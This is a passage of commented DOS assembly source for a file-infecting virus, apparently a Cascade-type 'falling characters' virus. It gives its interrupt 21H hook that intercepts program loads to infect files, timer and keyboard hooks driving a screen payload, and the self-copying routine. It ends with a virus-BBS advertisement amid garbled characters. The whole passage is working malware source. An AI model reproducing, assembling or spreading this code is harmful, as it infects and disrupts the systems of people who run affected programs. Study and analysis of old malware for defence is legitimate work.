ADD DX,10H ; Add PSP length (?)
POP ES
POP DS
POP AX
POP DS
MOV AH,31H ; Keep process function
JMP SHORT BP0710 ; Pass on to old Int 21H
; Interrupt 21H routine
BP0700: CMP AH,4CH ; \ End process function?
JE BP0680 ; /
CMP AH,31H ; \ Keep process function?
JE BP0690 ; /
OR AH,AH ; \ Terminate program function?
JZ BP0680 ; /
CMP AH,49H ; \ Free allocated memory function?
JE BP0660 ; /
CMP AH,4AH ; \ Set block function?
JE BP0660 ; /
CMP AH,4BH ; \ Load function?
JE BP0730 ; /
BP0710: DB 0EAH ; Far jump to Int 21H
I21_OF DW 0138DH ; Original Int 21H offset
I21_SG DW 00291H ; Original Int 21H segment
; Alternate Interrupt 21H - only intercept load
BP0720: CMP AH,4BH ; Load function?
JNE BP0710 ; Branch if not
BP0730: PUSH CX
PUSH DX
PUSH ES
PUSH BX
PUSH SI
PUSH DI
PUSH BP
CALL BP0640 ; Get relocation constant in SI
CALL BP0600 ; Set Int 24H vector
BP0740: STI
TEST BYTE PTR SWTCHB+100H,2 ; Test switch two
JNZ BP0740 ; Branch if on
CLI
TEST BYTE PTR SWTCHB+100H,2 ; Test switch two
JNZ BP0740 ; Branch if on
OR BYTE PTR SWTCHB+100H,2 ; Set on switch two
POP DS
ASSUME DS:NOTHING
MOV BX,DX ; Pathname pointer
MOV PTHDSK[SI],0FFH ; Set drive to none
CMP BYTE PTR [BX+01],':' ; Does pathname include drive?
JNE BP0750 ; Branch if not
MOV AL,[BX] ; Get drive letter
OR AL,20H ; Convert to lowercase
SUB AL,'a' ; Convert to number
MOV PTHDSK[SI],AL ; Store drive
BP0750: PUSH SI
PUSH DI
PUSH ES
CLD
MOV SI,DX ; Pathname pointer
PUSH CS ; \ Set ES to CS
POP ES ; /
MOV DI,OFFSET DB0884+100H ; Pathname
BP0760: LODSB ; Get a character
STOSB ; Store a character
OR AL,AL ; Was that the last?
JNZ BP0760 ; Branch if not
POP ES
POP DI
POP SI
CALL BP0380 ; Process file
CALL BP0610 ; Restore Int 24H vector
AND BYTE PTR CS:SWTCHB+100H,0FDH ; Set off switch two
POP AX
POP DS
POP BP
POP DI
POP SI
POP BX
POP ES
POP DX
POP CX
JMP BP0710 ; Pass on to old Int 21H
; Interrupt 27H routine
BP0770: ADD DX,0FH ; Round up
MOV CL,4 ; Bits to shift
SHR DX,CL ; Convert to paragraphs
JMP BP0690 ; Keep process
; Interrupt 27H - jump to original routine
BP0780: DB 0EAH ; Far jump to Int 27H
I27_OF DW 05DFEH ; Original Int 27H offset
I27_SG DW 00291H ; Original Int 27H segment
; Interrupt 24H routine
BP0790: PUSH SI
CALL BP0800 ; \ Get current location
BP0800: POP SI ; /
SUB SI,OFFSET BP0800 ; Subtract offset
OR CRTERR[SI],1 ; Set critical error flag
POP SI
XOR AL,AL ; No action
IRET
DB086E DB 1 ; Past second line indicator
DB 0
DB0870 DB 0 ; Characters going down switch
DB 0
SWTCHB DB 82H ; Switch byte
; 01 - switch one - alternate timer tick
; 02 - switch two - processing file
; 04 - switch three - infection count target reached
; 08 - switch four - count two started
; 10 - switch five - don't go to start of line
; 20 - switch six - count two started and finished (?)
; 40 - switch seven - count two finished
; 80 - switch eight - video display permitted
I09_OF DW 0 ; Old Int 9 offset
I09_SG DW 0 ; Old Int 9 segment
DSPCNT DW 0FFDCH ; Display count
I09BSY DB 0 ; Int 9 busy switch
KEYTOK DB 0 ; Keyboard token
KEYNUM DB 0 ; Key number
VIDADR DW 0B800H ; Video RAM segment
RSTCNT DW 0 ; Restore count
FLENLO DW 39H ; File length, low word
FLENHI DW 0 ; File length, high word
DB0884 DB 'C:\3066\HELLO.COM', 0 ; Pathname
DB 'EXE', 0, 'E', 90H DUP (0)
BP0820: PUSH CX
PUSH DS
PUSH ES
PUSH SI
PUSH DI
PUSH CS ; \ Set ES to CS
POP ES ; /
CLD
TEST AL,20H ; Test switch six
JZ BP0850 ; Branch if off
TEST AL,2 ; Test switch two
JNZ BP0860 ; Branch if on
XOR AX,AX ; \ Address zero
MOV DS,AX ; /
ASSUME DS:BOOT
MOV AL,BB0449 ; Get current VDU mode
MOV CX,0B800H ; VDU RAM address
CMP AL,7 ; Mode 7?
JNE BP0830 ; Branch if not
MOV CX,0B000H ; External mono VDU RAM
JMP SHORT BP0840
BP0830: CMP AL,2 ; Mode 2?
JE BP0840 ; Branch if yes
CMP AL,3 ; Mode 3?
JNE BP0860 ; Branch if not
BP0840: MOV VIDADR+100H,CX ; Save video RAM segment
OR SWTCHB+100H,2 ; Set on switch two
MOV RSTCNT+100H,0 ; Set restore count to zero
MOV DS,CX ; Address video RAM
MOV CX,80*25 ; Length to copy
XOR SI,SI ; From zero
MOV DI,OFFSET SIGNAT+100H ; To end of virus
REPZ MOVSW ; Copy video
XOR AX,AX ; \ Address zero
MOV DS,AX ; /
MOV AX,OFFSET BP1010+100H ; Interrupt 9 routine
XCHG AX,BW0024 ; Install as Int 9 offset
MOV I09_OF+100H,AX ; Save old Int 9 offset
MOV AX,CS ; Get current segment
XCHG AX,BW0026 ; Install as Int 9 segment
MOV I09_SG+100H,AX ; Save old Int 9 segment
BP0850: MOV CX,0050H ; Length of one line
MOV AX,80*24*2 ; Last line address
MOV DI,OFFSET DW0005+100H ; Address line store
REPZ STOSW ; Store line numbers
AND SWTCHB+100H,7 ; Set off switches above three
BP0860: POP DI
POP SI
POP ES
POP DS
POP CX
JMP BP0990 ; Pass on to original Int 1CH
BP0870: JMP BP0820
; Interrupt 1CH routine
BP0880: PUSH AX
MOV I09BSY+100H,0 ; Clear Int 9 busy switch
MOV AL,SWTCHB+100H ; Get switches
TEST AL,60H ; Test switches six and seven
JNZ BP0870 ; Branch if either is on
TEST AL,80H ; Test switch eight
JZ BP0910 ; Branch if off
CMP RSTCNT+100H,0 ; Is restore count off?
JE BP0890 ; Branch if yes
INC RSTCNT+100H ; Increment restore count
CMP RSTCNT+100H,0444H ; Have we reached target (1 minute)?
JL BP0890 ; Branch if not
CALL BP1030 ; Video display routine
JMP BP0990 ; Pass on to original Int 1CH
BP0890: TEST AL,18H ; Test switches four and five
JZ BP0900 ; Branch if both off
DEC DSPCNT+100H ; Decrement display count
JNZ BP0900 ; Branch if not finished
AND SWTCHB+100H,0E7H ; Set off switch three
OR SWTCHB+100H,40H ; Set on switch seven
TEST AL,8 ; Test switch four
JZ BP0900 ; Branch if off
OR SWTCHB+100H,20H ; Set on switch six
BP0900: JMP BP0990 ; Pass on to original Int 1CH
BP0910: XOR SWTCHB+100H,1 ; Toggle switch one
TEST AL,1 ; Test previous state
JZ BP0900 ; Branch if off
PUSH BX
PUSH SI
PUSH DS
MOV DS,VIDADR+100H ; Get video RAM segment
XOR SI,SI ; Start of line
MOV DB086E+100H,0 ; Set past second line off
BP0920: MOV BX,DW0005[SI+100H] ; Get current line number
OR BX,BX ; First line?
JZ BP0930 ; Branch if yes
CMP BYTE PTR [BX+SI],' ' ; Is character a blank?
JNE BP0930 ; Branch if not
CMP BYTE PTR [BX+SI+0FF60H],' ' ; Is char on line above a space?
JE BP0930 ; Branch if yes
MOV AX,0720H ; White on black space
XCHG AX,[BX+SI+0FF60H] ; Swap with line above
MOV [BX+SI],AX ; Store new character this line
ADD BX,80*2 ; Next line
BP0930: CMP BX,80*25*2 ; Past last line?
JE BP0940 ; Branch if yes
CMP BYTE PTR [BX+SI],' ' ; Is character a blank
JNE BP0940 ; Branch if not
JNE BP0970 ; ?
BP0940: MOV BX,80*24*2 ; Address last line
BP0950: CMP BYTE PTR [BX+SI],' ' ; Is character a blank?
JNE BP0960 ; Branch if not
CMP BYTE PTR [BX+SI+0FF60H],' ' ; Is char on line above a space?
JNE BP0970 ; Branch if not
BP0960: SUB BX,80*2 ; Previous line
OR BX,BX ; First line?
JNZ BP0950 ; Branch if not
BP0970: MOV DW0005[SI+100H],BX ; Save current line number
OR WORD PTR DB086E+100H,BX ; Set past second line indicator
ADD SI,2 ; Next character position
CMP SI,80*2 ; End of line?
JNE BP0920 ; Branch if not
CMP DB086E+100H,0 ; Past second line?
JNE BP0980 ; Branch if yes
OR SWTCHB+100H,80H ; Set on switch eight
MOV RSTCNT+100H,1 ; Start restore count
BP0980: POP DS
POP SI
POP BX
BP0990: POP AX
DB 0EAH ; Far jump to Int 1CH
I1C_OF DW 0FF53H ; Original Int 1CH offset
I1C_SG DW 0F000H ; Original Int 1CH segment
; Signal end of interrupt
BP1000: MOV AL,20H ; \ End of interrupt
OUT 20H,AL ; /
POP AX
IRET
; Interrupt 9 routine
BP1010: PUSH AX
IN AL,60H ; Get keyboard token
MOV KEYTOK+100H,AL ; Save keyboard token
IN AL,61H ; Get port B
MOV AH,AL ; Save port B
OR AL,80H ; \ Acknowledge keyboard
OUT 61H,AL ; /
MOV AL,AH ; \ Restore Port B
OUT 61H,AL ; /
CMP I09BSY+100H,0 ; Test Int 9 busy switch
MOV I09BSY+100H,1 ; Set Int 9 busy switch on
JNE BP1000 ; Branch if on already
MOV AL,KEYTOK+100H ; Get keyboard token
CMP AL,0F0H ; \ ? discard this character
JE BP1000 ; /
AND AL,7FH ; Set off top bit
CMP AL,KEYNUM+100H ; Same as last character?
MOV KEYNUM+100H,AL ; Save key number
JE BP1000 ; Branch if same as last
CMP RSTCNT+100H,0 ; Is restore count off?
JE BP1020 ; Branch if yes
MOV RSTCNT+100H,1 ; Restart restore count
BP1020: CALL BP1030 ; Video display routine
JMP BP1000 ; End of interrupt
; Video display routine
BP1030: MOV DSPCNT+100H,0028H ; Set up short display count (2+ secs)
TEST SWTCHB+100H,80H ; Test switch eight
JZ BP1000 ; Branch if off
MOV DB0870+100H,1 ; Set character going down
PUSH BX
PUSH SI
PUSH DS
MOV DS,VIDADR+100H ; Get video RAM segment
TEST SWTCHB+100H,10H ; Test switch five
JNZ BP1070 ; Branch if on
OR SWTCHB+100H,10H ; Set on switch five
XOR SI,SI ; Start of line
BP1040: MOV BX,80*24*2 ; Address last line
BP1050: CMP BYTE PTR [BX+SI],' ' ; Is character a blank?
JE BP1060 ; Branch if yes
SUB BX,80*2 ; Previous line
JNB BP1050 ; Branch if not
MOV BX,80*24*2 ; Address last line
BP1060: ADD BX,80*2 ; Next line
MOV DW0005[SI+100H],BX ; Save current line number
MOV FLENLO[SI+100H],BX ; Save last line number
INC SI ; \ Next character position
INC SI ; /
CMP SI,80*2 ; End of line?
JNE BP1040 ; Branch if not
BP1070: XOR SI,SI ; Start of line
BP1080: CMP DW0005[SI+100H],80*25*2 ; End of display area?
JE BP1140 ; Branch if yes
MOV BX,FLENLO[SI+100H] ; Get last line number
MOV AX,[BX+SI] ; Get current char and attributes
CMP AX,CS:SIGNAT[BX+SI+100H] ; Is it the same as the stored copy?
JNE BP1100 ; Branch if not
PUSH BX
BP1090: OR BX,BX ; First line?
JZ BP1120 ; Restore video if yes
SUB BX,80*2 ; Previous line
CMP AX,CS:SIGNAT[BX+SI+100H] ; Is this line same as current?
JNE BP1090 ; Branch if not
CMP AX,[BX+SI] ; Is this line the same
JE BP1090 ; Branch if yes
POP BX
BP1100: OR BX,BX ; First line?
JNZ BP1110 ; Character up one line if not
MOV WORD PTR [SI],0720H ; White on black space
JMP SHORT BP1130
; Move character up one line
BP1110: MOV AX,[BX+SI] ; Get current char and attributes
MOV [BX+SI+0FF60H],AX ; Move to previous line
MOV WORD PTR [BX+SI],0720H ; White on black space
SUB FLENLO[SI+100H],80*2 ; Move last line number up one
MOV DB0870+100H,0 ; Set characters going up
JMP SHORT BP1140
; Restore video
BP1120: POP BX
BP1130: MOV BX,DW0005[SI+100H] ; Get current line number
ADD BX,80*2 ; Next line
MOV DW0005[SI+100H],BX ; Save new current line number
MOV FLENLO[SI+100H],BX ; Save last line number
BP1140: INC SI ; \ Next character position
INC SI ; /
CMP SI,80*2 ; End of line?
JNE BP1080 ; Branch if not
CMP DB0870+100H,0 ; Are characters going down
JE BP1150 ; Branch if not
PUSH ES
PUSH DI
PUSH CX
PUSH DS ; \ Set ES to DS
POP ES ; /
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV SI,OFFSET SIGNAT+100H ; From end of virus
XOR DI,DI ; To zero
MOV CX,80*25 ; Length to copy
REPZ MOVSW ; Restore video
MOV DSPCNT+100H,0FFDCH ; Restart display count (60 mins)
AND SWTCHB+100H,4 ; Set off all switches but three
OR SWTCHB+100H,88H ; Set on switches four and eight
MOV RSTCNT+100H,0 ; Set restore count off
XOR AX,AX ; \ Address zero
MOV DS,AX ; /
ASSUME DS:BOOT
MOV AX,I09_OF+100H ; Get old Int 9 offset
MOV BW0024,AX ; Re-install Int 9 offset
MOV AX,I09_SG+100H ; Get old Int 9 segment
MOV BW0026,AX ; Re-install Int 9 segment
POP CX
POP DI
POP ES
BP1150: POP DS
POP SI
POP BX
RET
; Copy virus and transfer control
BP1160: CLD
POP AX ; Recover return address
SUB AX,SI ; Subtract source offset
ADD AX,DI ; Add target offset
PUSH ES ; Push new segment
PUSH AX ; Push new return address
REPZ MOVSB ; Copy virus
RETF ; Return to copy
DB 090H
SIGNAT DW 0E850H
DB 0E2H, 003H, 08BH
ENDADR EQU $
CODE ENDS
END

; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>